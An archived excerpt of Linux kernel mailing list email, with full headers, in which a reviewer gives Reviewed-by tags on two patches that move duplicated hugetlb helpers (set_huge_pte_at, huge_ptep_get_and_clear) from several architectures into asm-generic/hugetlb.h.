DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=+mJQ8lBAXPkGfvLg+V+0g53QCAkZj/VBYqcZUcoFNCI=;
 b=XfezPij3mbNE0kKvXd4evXlPC4AHD8X5WY7tZvmKL0+6eMZtwRrjNMgBbEBGz2ZgUtzg
 rAmHwNcogvIODsgS+2aNAwKzVH4dH5L/v1rOPRbOijE9zV3OND5+Dw0RCUVLYP4caXaV
 JLOu902A4iRzPCkifnTpGsz6seQgGxgIcG+dhhUtqBX8Dplh3Q/6qvoZMC2lk7z5fp6P
 FfXcbtPBBCYi/gQoO8p3HoAxyX3eLs+d3F/miyuoe0f7+T29FMDxc2Mxl/EivD/YWvo0
 l0pDOP31C/fgBD8uuoovLYXJwfFR6FJhB4qK8ykgNL13Bqv1MglNusPwp4FF70n+iF+9 Lg== 
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
 by userp2120.oracle.com with ESMTP id 2kbwfq4dbk-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:00:22 +0000
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
 by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ0Je6031658
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:00:20 GMT
Original-Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11])
 by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6QJ0BFu012454;
 Thu, 26 Jul 2018 19:00:12 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:00:09 -0700
In-Reply-To: <20180705110716.3919-4-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=2
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=960
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260194
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_120114_903199_05CBE162 
X-CRM114-Status: GOOD (  24.42  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [156.151.31.85 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666275 gmane.linux.kernel:2831680 gmane.linux.ports.ia64:28965 gmane.linux.ports.mips.general:65681 gmane.linux.ports.parisc:28827 gmane.linux.ports.ppc64.devel:160472 gmane.linux.ports.sh.devel:57262 gmane.linux.ports.sparc:28123 gmane.linux.kernel.cross-arch:45500
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666275>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, ia64, mips, powerpc, sh, x86 architectures use the
> same version of set_huge_pte_at, so move this generic
> implementation into asm-generic/hugetlb.h.
> 

Just one comment below, otherwise:
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb-3level.h | 6 ------
>  arch/arm64/include/asm/hugetlb.h      | 1 +
>  arch/ia64/include/asm/hugetlb.h       | 6 ------
>  arch/mips/include/asm/hugetlb.h       | 6 ------
>  arch/parisc/include/asm/hugetlb.h     | 1 +
>  arch/powerpc/include/asm/hugetlb.h    | 6 ------
>  arch/sh/include/asm/hugetlb.h         | 6 ------
>  arch/sparc/include/asm/hugetlb.h      | 1 +
>  arch/x86/include/asm/hugetlb.h        | 6 ------
>  include/asm-generic/hugetlb.h         | 8 +++++++-
>  10 files changed, 10 insertions(+), 37 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index d4014fbe5ea3..398fb06e8207 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>  	return retval;
>  }
>  
> -static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> -				   pte_t *ptep, pte_t pte)
> -{
> -	set_pte_at(mm, addr, ptep, pte);
> -}
> -

Since <asm-generic/hugetlb.h> is not directly included in this file,
I had to search around in the #include dependency chain to look for
it.  It makes me just a tiny bit nervous, but since it compiled, I'm
sure there is not an issue.
-- 
Mike Kravetz

>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 4af1a800a900..874661a1dff1 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
>  				struct page *page, int writable);
>  #define arch_make_huge_pte arch_make_huge_pte
> +#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
>  extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  			    pte_t *ptep, pte_t pte);
>  extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index afe9fa4d969b..a235d6f60fb3 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
>  }
>  
> -static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> -				   pte_t *ptep, pte_t pte)
> -{
> -	set_pte_at(mm, addr, ptep, pte);
> -}
> -
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 53764050243e..8ea439041d5d 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> -				   pte_t *ptep, pte_t pte)
> -{
> -	set_pte_at(mm, addr, ptep, pte);
> -}
> -
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 28c23b68d38d..77c8adbac7c3 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -4,6 +4,7 @@
>  
>  #include <asm/page.h>
>  
> +#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
>  void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  		     pte_t *ptep, pte_t pte);
>  
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index a7d5c739df9b..0794b53439d4 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> -				   pte_t *ptep, pte_t pte)
> -{
> -	set_pte_at(mm, addr, ptep, pte);
> -}
> -
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index f6a51b609409..bc552e37c1c9 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> -				   pte_t *ptep, pte_t pte)
> -{
> -	set_pte_at(mm, addr, ptep, pte);
> -}
> -
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 59d89b52ccb7..16b0c53ea6c9 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
>  extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
>  #endif
>  
> +#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
>  void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  		     pte_t *ptep, pte_t pte);
>  
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 996ce8e15365..554d5614b375 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> -				   pte_t *ptep, pte_t pte)
> -{
> -	set_pte_at(mm, addr, ptep, pte);
> -}
> -
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index c697ca9dda18..ee010b756246 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
>  {
>  	free_pgd_range(tlb, addr, end, floor, ceiling);
>  }
> +#endif
>  
> -
> +#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
> +static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
> +		pte_t *ptep, pte_t pte)
> +{
> +	set_pte_at(mm, addr, ptep, pte);
> +}
>  #endif
>  
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 04/11] hugetlb: Introduce generic version of
 huge_ptep_get_and_clear
Date: Thu, 26 Jul 2018 12:02:19 -0700
Lines: 170
Approved: news@gmane.org
Message-ID: <507b484c-924a-0982-ed58-48ac9882fcc5@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-5-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532631682 16767 195.159.176.226 (26 Jul 2018 19:01:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:01:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:01:15 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filVg-00048x-OY
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:01:12 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=QHRdKixfklQWR2bn36BMf2+xinx/ishCHadXBMNUoQQ=; b=LilimWNI0qDXnjws/S8a6h5PA+
	OFeKe6KbMIPk+V/+Qj0RBF6ESFvTjkxnpsgW7IeKRBcuLw+eNgFeeZmvaIyY/i+y8AJF7qHjD1Puu
	B+Z5/AjClNOxTntDHAN5hyqxBWFqOXhe1lz84o7QGEfAS9sbOK76d4BXL/0GWsn3PONlgA+cysfJL
	V5jZ1AYBa3KXYhJcll1ZIp+Hbqo4YvAo8ubgPtNax0e1Mq7BDgbqqReRQYjRQhwjRwVIrrg+bp+hP
	lVIS2dM+gaF2lrRahMHhazBV/+RJQTzRdmhb8PxnBql4RgTbQtHmh6Z9yUzFIuj93w7LRAzoajL+e
	gv72hrKQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filXl-0008Ak-T2; Thu, 26 Jul 2018 19:03:21 +0000
Original-Received: from aserp2120.oracle.com ([141.146.126.78])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filXi-00089Z-Bp
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:03:20 +0000
Original-Received: from pps.filterd (aserp2120.oracle.com [127.0.0.1])
 by aserp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QIwiES131887;
 Thu, 26 Jul 2018 19:02:26 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=9ITZxudl3qP8BAVGNplV4N7mil04cTtEd5Jvq8KNOy8=;
 b=zs9QbZGXE7Gt/c8guxGhc9zxxKMVEbZVVtw5mWEM5lQZpsvruIVBX38JY5B+ZnI76j2M
 lu5g5UTRbe5oDIwyVXrMuY5aLWTiozyJxaRodcqwiRUP1tup7H6y/OeqjTjohzTQMDl3
 jGAdpKordt65H33q2pi6Rl139PaHnJ5XsOXrE6NJ0pNMdqAFLnW9YHRZN7LANxDwCNW/
 wawiwvUwJI9mmMiMmBUwezWKfIv8rp/MFfkgNTppcf+Yyj6JVU3blsTpfcNvuMEmqexq
 RcTba6SSR1bOdGBKMp22RAho2JcZZkfuFiB2zkTaQmy2qZmdRX+QWLReNkgIEZ+1CaHo Xg== 
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
 by aserp2120.oracle.com with ESMTP id 2kbvsp4e5c-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:02:26 +0000
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
 by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ2PiI026236
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:02:25 GMT
Original-Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18])
 by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ2NSg001329;
 Thu, 26 Jul 2018 19:02:23 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:02:23 -0700
In-Reply-To: <20180705110716.3919-5-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=854
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260194
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_120318_496402_0B565703 
X-CRM114-Status: GOOD (  22.52  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [141.146.126.78 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666276 gmane.linux.kernel:2831681 gmane.linux.ports.ia64:28966 gmane.linux.ports.mips.general:65682 gmane.linux.ports.parisc:28828 gmane.linux.ports.ppc64.devel:160473 gmane.linux.ports.sh.devel:57263 gmane.linux.ports.sparc:28124 gmane.linux.kernel.cross-arch:45501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666276>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, ia64, sh, x86 architectures use the
> same version of huge_ptep_get_and_clear, so move this generic
> implementation into asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb-3level.h | 6 ------
>  arch/arm64/include/asm/hugetlb.h      | 1 +
>  arch/ia64/include/asm/hugetlb.h       | 6 ------
>  arch/mips/include/asm/hugetlb.h       | 1 +
>  arch/parisc/include/asm/hugetlb.h     | 1 +
>  arch/powerpc/include/asm/hugetlb.h    | 1 +
>  arch/sh/include/asm/hugetlb.h         | 6 ------
>  arch/sparc/include/asm/hugetlb.h      | 1 +
>  arch/x86/include/asm/hugetlb.h        | 6 ------
>  include/asm-generic/hugetlb.h         | 8 ++++++++
>  10 files changed, 13 insertions(+), 24 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index 398fb06e8207..ad36e84b819a 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  	ptep_set_wrprotect(mm, addr, ptep);
>  }
>  
> -static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
> -					    unsigned long addr, pte_t *ptep)
> -{
> -	return ptep_get_and_clear(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 874661a1dff1..6ae0bcafe162 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  				      unsigned long addr, pte_t *ptep,
>  				      pte_t pte, int dirty);
> +#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  				     unsigned long addr, pte_t *ptep);
>  extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index a235d6f60fb3..6719c74da0de 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
>  }
>  
> -static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
> -					    unsigned long addr, pte_t *ptep)
> -{
> -	return ptep_get_and_clear(mm, addr, ptep);
> -}
> -
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 8ea439041d5d..0959cc5a41fa 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 77c8adbac7c3..6e281e1bb336 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -8,6 +8,7 @@
>  void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  		     pte_t *ptep, pte_t pte);
>  
> +#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
>  			      pte_t *ptep);
>  
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 0794b53439d4..970101cf9c82 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index bc552e37c1c9..08ee6c00b5e9 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
> -					    unsigned long addr, pte_t *ptep)
> -{
> -	return ptep_get_and_clear(mm, addr, ptep);
> -}
> -
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 16b0c53ea6c9..944e3a4bfaff 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
>  void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  		     pte_t *ptep, pte_t pte);
>  
> +#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
>  			      pte_t *ptep);
>  
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 554d5614b375..48b8d9b13cc6 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
> -					    unsigned long addr, pte_t *ptep)
> -{
> -	return ptep_get_and_clear(mm, addr, ptep);
> -}
> -
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index ee010b756246..0f6f151780dd 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
> +static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
> +		unsigned long addr, pte_t *ptep)
> +{
> +	return ptep_get_and_clear(mm, addr, ptep);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
